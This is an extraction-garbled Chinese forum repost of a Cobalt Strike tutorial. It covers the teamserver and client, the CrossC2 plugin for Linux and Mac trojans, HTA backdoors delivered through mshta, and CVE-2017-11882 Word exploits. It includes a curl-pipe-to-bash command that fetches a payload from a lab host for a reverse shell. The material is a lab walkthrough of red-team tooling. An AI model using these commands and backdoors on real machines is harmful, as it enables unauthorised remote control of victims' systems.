搜索

[22262] 2021-08-17_CobaltStrike介绍与使用详解

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2021-08-17_CobaltStrike介绍与使用详解 C o b a l t   S t r i k e   介 绍 与 使 用 详 解 L e m o n S e c   2 0 2 1 - 0 8 - 1 7 以 下 文 章 来 源 于 系 统 安 全 运 维   ， 作 者 三 个 大 石 头 目 录 ： 目 录 ： C o b a l t   s t r i k e 介 绍 介 绍 C o b a l t   S t r i k e 是 一 款 美 国   R e d   T e a m   开 发 的 渗 透 测 试 神 器 ， 常 被 业 界 人 称 为 C S 项 目 地 址 ： h t t p s : / / w w w . c o b a l t s t r i k e . c o m C o b a l t   s t r i k e 分 为   客 户 端   ( C l i e n t )   与   服 务 端   ( T e a m s e r v e r ) ， 服 务 端 为 一 个 ， 客 户 端 可 以 有 多 个 ， 团 队 可 进 行 分 布   式 协 团 操 作 。 C o b a l t   s t r i k e 架 构 架 构 系 统 安 全 运 维 系 统 安 全 运 维   . 机 器 猫 学 安 全 /   每 日 分 享 ， 绝 不 偷 懒
│   S c r i p t s   用 户 安 装 的 插 件 │   L o g   每 天 的 日 志 │   c 2 l i n t   检 查 p r o f i l e 的 错 误 异 常 │   c o b a l t s t r i k e │   c o b a l t s t r i k e . j a r   客 户 端 程 序 │     i c o n . j p g L O G O │   l i c e n s e . p d f   许 可 证 文 件 │   r e a d m e . t x t │   r e l e a s e n o t e s . t x t │   t e a m s e r v e r   服 务 端 程 序 │   u p d a t e │     u p d a t e . j a r 更 新 程 序 └ ─ t h i r d - p a r t y   第 三 方 工 具 ， 里 面 放 的 v n c   d l l C o b a l t   s t r i k e 的 启 动 和 配 置 的 启 动 和 配 置 C o b a l t   s t r i k e 控 制 台 介 绍 控 制 台 介 绍

C o b a l t   s t r i k e 远 控 功 能 远 控 功 能

C r o s s C 2 插 件 ： 生 成 插 件 ： 生 成 C S 下 下 l i n u x 、 、 m a c 木 马 木 马 1 、 插 件 模 块 详 解 、 插 件 模 块 详 解 在 s r c 目 录 下 有 4 个 文 件 配 置 文 件 ： C r o s s C 2 . c n a ； 剩 下 3 个 是 生 成 L i n u x 、 M a c o s 、 W i n 的 核 心 程 序 。 2 、 插 件 配 置 文 件 更 改 、 插 件 配 置 文 件 更 改 v i m 编 辑 C r o s s C 2 . c a n ， 修 改 7 7 行 。 将 对 应 系 统 的 核 心 程 序 绝 对 路 径 填 写 到 这 里 3 、 、 C S 加 载 插 件 加 载 插 件 ① 先 在 脚 本 管 理 器 加 载 配 置 文 件 C r o s s C 2 . c a n ② 在 监 听 模 块 先 生 成 个 w i n d o w s 的 监 听 。 因 为 C 2 插 件 对 必 须 是 h t t p s 才 可 与 ， 所 以 需 要 生 成 h t t p s 的 回 连 木 马
③ 通 过 C r o s s C 2 修 改 监 听 为 L i n u x s y s t e m 设 置 为 l i n u x ； l i s t e n e r 设 置 为 上 面 那 个 监 听 模 块 ； 输 出 文 件 、 路 径 可 自 定 义 。 ④ 执 行 生 成 的 攻 击 程 序 ， 或 一 句 话 c u r l   - A   o   - o -   - L   h t t p : / / 1 9 2 . 1 6 8 . 1 0 . 1 5 4 : 5 5 4 1 3 / a   |   b a s h   - s 在 目 标 机 上 执 行 此 文 件 等 待 反 弹 s h e l l ( 我 的 实 验 未 成 功 )   实 验 ： 实 验 ： C S 生 成 生 成 h t a 远 控 木 马 远 控 木 马 ① 开 启 开 启 c s 服 务 端 服 务 端 . / t e a m s e r v e r   1 9 2 . 1 6 8 . 1 0 . 1 5 4   p a s s
② 开 启 开 启 c s 客 户 端 客 户 端 ③ 生 成 生 成 h t a 木 马 木 马 配 置 监 听 生 成 后 门 - > 选 择 模 块 生 成 后 门 - > 选 择 内 部 编 码 ， 随 便 选 ， 最 后 都 是 生 成 . h t a 文 件 ④ 目 标 机 本 地 加 载 目 标 机 本 地 加 载 h t a 木 马 木 马
目 标 机 器 上 线 ⑤ 目 标 机 远 程 目 标 机 远 程 w e b 加 载 木 马 加 载 木 马 查 看 木 马 网 页 查 看 木 马 网 页 源 码 目 标 机 访 问 木 马 网 页 目 标 机 上 线
m s h t a 概 念 ： 概 念 ： m s h t a . e x e 是 微 软 W i n d o w s 操 作 系 统 相 关 程 序 ， 英 文 全 称 M i c r o s o f t   H T M L   A p p l i c a t i o n ， 可 翻 译 为 微 软 超 文 本 标 记 语 言 应 用 ， 用 于 执 行 . H T A 文 件 。 注 意 ： c m d . e x e 需 要 以 管 理 员 身 份 运 行 ， 在 实 际 攻 击 中 ， 需 要 b y p a s s   u a c   实 验 ： 实 验 ： C V E - 2 0 1 7 - 1 1 8 8 2 与 与 C S 远 控 远 控 h t a 结 合 结 合 C V E - 2 0 1 7 - 1 1 8 8 2 属 于 缓 冲 区 溢 出 类 型 漏 洞 ， 产 生 漏 洞 原 因 于 E Q N E D T 3 2 . E X E （ 微 软 o f f i c e 自 带 公 式 编 辑 器 ） 进 程 在 读 入 包 含 M a t h T y p e 的 o l e 数 据 时 ， 在 拷 贝 公 式 字 体 名 称 （ F o n t   N a m e 数 据 ） 时 没 有 对 名 称 长 度 进 行 校 验 ， 导 致 缓 冲 区 溢 出 。 通 过 覆 盖 函 数 的 返 回 地 址 ， 可 执 行 任 意 代 码 。   漏 洞 验 证 P O C 脚 本 ： C o m m a n d _ C V E - 2 0 1 7 - 1 1 8 8 2 . p y 漏 洞 攻 击 E X P 脚 本 ： w e b d a v _ e x e c _ C V E - 2 0 1 7 - 1 1 8 8 2 . p y 1 、 、 P O C 验 证 验 证 ① P O C 生 成 w o r d 文 件 ， 让 目 标 机 执 行 ， 验 证 漏 洞 p y t h o n   C o m m a n d _ C V E - 2 0 1 7 - 1 1 8 8 2 . p y   - c   " c m d . e x e   / c   c a l c . e x e "   - o   t e s t . d o c - c 执 行 命 令 ； c m d . e x e   / c   执 行 c m d 命 令   ； 计 算 器 ； - o   当 前 目 录 生 成 d o c 文 件 ② 目 标 机 打 开 木 马 d o c 文 件 ， 触 发 c a l c . e x e ③ 拓 展 ： 宏 模 块 ， w o r d 可 执 行 任 意 代 码 的 地 方
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理